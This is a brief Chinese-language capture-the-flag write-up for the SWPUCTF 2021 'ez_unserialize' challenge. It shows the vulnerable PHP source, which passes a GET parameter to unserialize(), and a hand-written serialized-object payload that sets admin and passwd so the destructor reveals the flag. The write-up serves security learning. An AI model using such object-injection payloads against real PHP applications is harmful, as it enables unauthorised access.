（反序列化）[SWPUCTF 2021 新生赛]ez_unserialize

看见标签有java反序列化，想见识一下

底下的注释明显是robots.txt

得到/cl45s.php

<?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p = $_GET['p'];
unserialize($p);

?> 

额。。。

直接手写

p=O:4:wllm:2:{s:5:admin;s:5:admin;s:6:passwd;s:3:ctf;} //错了

p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

得到flag